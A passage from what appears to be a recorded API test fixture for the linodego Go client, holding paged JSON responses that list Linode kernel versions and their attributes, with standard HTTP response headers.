"2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-linode33", "label": "2.6.39-linode33", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38.3-linode32", "label": "2.6.38.3-linode32", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-linode31", "label": "2.6.38-linode31", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.37-linode30", "label": "2.6.37-linode30", "version": "2.6.37", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.7-linode29", "label": "2.6.35.7-linode29", "version": "2.6.35", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.16-linode28", "label": "2.6.32.16-linode28", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-linode27", "label": "2.6.34-linode27", "version": "2.6.34", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-linode25", "label": "2.6.32.12-linode25", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.33-linode24", "label": "2.6.33-linode24", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-linode23", "label": "2.6.32-linode23", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "2.6.18.8-linode22", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-linode21", "label": "2.6.31.5-linode21", "version": "2.6.31", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-linode20", "label": "2.6.30.5-linode20", "version": "2.6.30", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.23.17-linode44", "label": "2.6.23.17-linode44", "version": "2.6.23", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode19", "label": "2.6.18.8-linode19", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-linode18", "label": "2.6.29-linode18", "version": "2.6.29", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-linode17", "label": "2.6.28.3-linode17", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode16", "label": "2.6.18.8-linode16", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-linode15", "label": "2.6.28-linode15", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-linode14", "label": "2.6.27.4-linode14", "version": "2.6.27", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.26-linode13", "label": "2.6.26-linode13", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25.10-linode12", "label": "2.6.25.10-linode12", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode10", "label": "2.6.18.8-linode10", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25-linode9", "label": "2.6.25-linode9", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.24.4-linode8", "label": "2.6.24.4-linode8", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-domU-linode7", "label": "2.6.18.8-domU-linode7", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.8.9-x86_64-linode164)", "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 2, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:36:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: body: '{"data": [{"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", "version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118", "label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86_64-linode117", "label": "4.18.8-x86_64-linode117", "version": "4.18.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86_64-linode116", "label": "4.17.17-x86_64-linode116", "version": "4.17.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86_64-linode115", "label": "4.17.15-x86_64-linode115", "version": "4.17.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode114", "label": "4.17.14-x86_64-linode114", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode113", "label": "4.17.14-x86_64-linode113", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86_64-linode112", "label": "4.17.12-x86_64-linode112", "version": "4.17.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86_64-linode111", "label": "4.17.11-x86_64-linode111", "version": "4.17.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86_64-linode110", "label": "4.17.8-x86_64-linode110", "version": "4.17.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86_64-linode109", "label": "4.17.2-x86_64-linode109", "version": "4.17.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86_64-linode108", "label": "4.16.11-x86_64-linode108", "version": "4.16.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86_64-linode107", "label": "4.15.18-x86_64-linode107", "version": "4.15.18", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86_64-linode106", "label": "4.15.13-x86_64-linode106", "version": "4.15.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86_64-linode105", "label": "4.15.12-x86_64-linode105", "version": "4.15.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86_64-linode104", "label": "4.15.10-x86_64-linode104", "version": "4.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86_64-linode103", "label": "4.15.8-x86_64-linode103", "version": "4.15.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86_64-linode102", "label": "4.15.7-x86_64-linode102", "version": "4.15.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86_64-linode100", "label": "4.14.19-x86_64-linode100", "version": "4.14.19", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86_64-linode99", "label": "4.14.17-x86_64-linode99", "version": "4.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86_64-linode98", "label": "4.9.80-x86_64-linode98", "version": "4.9.80", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86_64-linode97", "label": "4.4.115-x86_64-linode97", "version": "4.4.115", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86_64-linode96", "label": "4.4.113-x86_64-linode96", "version": "4.4.113", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86_64-linode95", "label": "4.9.78-x86_64-linode95", "version": "4.9.78", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode94", "label": "4.14.14-x86_64-linode94", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode93", "label": "4.14.14-x86_64-linode93", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86_64-linode88", "label": "4.9.64-x86_64-linode88", "version": "4.9.64", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86_64-linode89", "label": "4.9.68-x86_64-linode89", "version": "4.9.68", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86_64-linode92", "label": "4.14.12-x86_64-linode92", "version": "4.14.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86_64-linode91", "label": "4.14.11-x86_64-linode91", "version": "4.14.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86_64-linode87", "label": "4.9.56-x86_64-linode87", "version": "4.9.56", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86_64-linode86", "label": "4.9.50-x86_64-linode86", "version": "4.9.50", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86_64-linode85", "label": "4.9.36-x86_64-linode85", "version": "4.9.36", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86_64-linode83", "label": "4.9.33-x86_64-linode83", "version": "4.9.33", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86_64-linode81", "label": "4.9.15-x86_64-linode81", "version": "4.9.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86_64-linode80", "label": "4.9.7-x86_64-linode80", "version": "4.9.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86_64-linode79", "label": "4.9.0-x86_64-linode79", "version": "4.9.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86_64-linode78", "label": "4.8.6-x86_64-linode78", "version": "4.8.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86_64-linode77", "label": "4.8.4-x86_64-linode77", "version": "4.8.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86_64-linode76", "label": "4.8.3-x86_64-linode76", "version": "4.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86_64-linode75", "label": "4.8.1-x86_64-linode75", "version": "4.8.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86_64-linode73", "label": "4.7.3-x86_64-linode73", "version": "4.7.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86_64-linode72", "label": "4.7.0-x86_64-linode72", "version": "4.7.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86_64-linode71", "label": "4.6.5-x86_64-linode71", "version": "4.6.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.3-x86_64-linode70", "label": "4.6.3-x86_64-linode70", "version": "4.6.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86_64-linode69", "label": "4.5.5-x86_64-linode69", "version": "4.5.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86_64-linode67", "label": "4.5.3-x86_64-linode67", "version": "4.5.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86_64-linode65", "label": "4.5.0-x86_64-linode65", "version": "4.5.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86_64-linode64", "label": "4.4.4-x86_64-linode64", "version": "4.4.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86_64-linode63", "label": "4.4.0-x86_64-linode63", "version": "4.4.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode61", "label": "4.1.5-x86_64-linode61", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode60", "label": "4.1.5-x86_64-linode60 ", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86_64-linode59", "label": "4.1.0-x86_64-linode59 ", "version": "4.1.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86_64-linode58", "label": "4.0.5-x86_64-linode58", "version": "4.0.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86_64-linode57", "label": "4.0.4-x86_64-linode57", "version": "4.0.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86_64-linode56", "label": "4.0.2-x86_64-linode56", "version": "4.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.1-x86_64-linode55", "label": "4.0.1-x86_64-linode55", "version": "4.0.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86_64-linode54", "label": "4.0-x86_64-linode54", "version": "4.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86_64-linode53", "label": "3.19.1-x86_64-linode53", "version": "3.19.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86_64-linode52", "label": "3.18.5-x86_64-linode52", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86_64-linode51", "label": "3.18.3-x86_64-linode51", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86_64-linode50", "label": "3.18.1-x86_64-linode50", "version": "3.18.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86_64-linode49", "label": "3.16.7-x86_64-linode49", "version": "3.16.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86_64-linode46", "label": "3.16.5-x86_64-linode46", "version": "3.16.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86_64-linode45", "label": "3.15.4-x86_64-linode45", "version": "3.15.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86_64-linode44", "label": "3.15.3-x86_64-linode44", "version": "3.15.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86_64-linode43", "label": "3.15.2-x86_64-linode43", "version": "3.15.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode42", "label": "3.14.5-x86_64-linode42", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode41", "label": "3.14.5-x86_64-linode41", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86_64-linode40", "label": "3.14.4-x86_64-linode40", "version": "3.14.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86_64-linode39", "label": "3.14.1-x86_64-linode39", "version": "3.14.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86_64-linode38", "label": "3.13.7-x86_64-linode38", "version": "3.13.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86_64-linode37", "label": "3.12.9-x86_64-linode37", "version": "3.12.9", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86_64-linode36", "label": "3.12.6-x86_64-linode36", "version": "3.12.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86_64-linode35", "label": "3.11.6-x86_64-linode35", "version": "3.11.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86_64-linode34", "label": "3.10.3-x86_64-linode34", "version": "3.10.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86_64-linode33", "label": "3.9.3-x86_64-linode33", "version": "3.9.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86_64-linode32", "label": "3.9.2-x86_64-linode32", "version": "3.9.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-x86_64-linode31", "label": "3.8.4-x86_64-linode31", "version": "3.8.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-x86_64-linode30", "label": "3.7.10-x86_64-linode30", "version": "3.7.10", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-x86_64-linode29", "label": "3.7.5-x86_64-linode29", "version": "3.7.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-x86_64-linode28", "label": "3.6.5-x86_64-linode28", "version": "3.6.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-x86_64-linode27", "label": "3.5.3-x86_64-linode27", "version": "3.5.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-x86_64-linode25", "label": "3.4.2-x86_64-linode25", "version": "3.2.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 3, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:36:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: body: '{"data": [{"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 ", "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": 